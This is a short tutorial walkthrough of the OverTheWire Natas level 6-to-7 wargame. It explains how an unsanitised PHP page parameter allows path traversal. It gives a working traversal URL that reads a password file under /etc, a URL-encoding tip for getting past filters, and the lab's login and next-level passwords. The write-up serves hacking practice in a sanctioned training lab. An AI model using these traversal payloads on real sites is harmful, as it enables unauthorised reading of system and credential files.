OverTheWire Natas Level 6 → 7 tutorial!!

Login

URL: http://natas7.natas.labs.overthewire.org

Credentials: natas7:bmg8SvU1LizuWjx3y7xkNERkHxGre0GS

Task

The site shows two links (“Home”, “About”). The URL includes a parameter:

index.php?page=home

Find a way to read the file that stores the password for natas8.

A little bit of Theory

• Many PHP sites use include/require with a user-controlled filename (e.g., ?page=home).
• If no sanitization is done, you can perform path traversal using ../ to climb directories and read files outside the web root.
• On Natas, the next level’s password is usually under:

/etc/natas_webpass/<username>

Further reading:

• OWASP: Path Traversal
• PHP: include

Solution

1. Inspect the page parameter

   Current URL pattern:

   http://natas7.natas.labs.overthewire.org/index.php?page=home
   

2. Traverse to the password file

   Replace the value of page with a traversal path to the natas8 password:

   http://natas7.natas.labs.overthewire.org/index.php?page=../../../../../../../../../../etc/natas_webpass/natas8
   

3. Read the output

   The response prints the contents of that file — the password for natas8.

Password

xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q

Troubleshooting

• Shows the normal page again? → Ensure you kept index.php?page=... and used enough ../ segments.
• URL-encoding issues? → Try %2e%2e%2f instead of ../ if the app blocks the raw dots/slashes.
• 403/404? → Double-check the exact target path: /etc/natas_webpass/natas8.

Nice job 🎉 You spotted an include-by-parameter pattern and used path traversal to exfiltrate the next level’s password!

Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨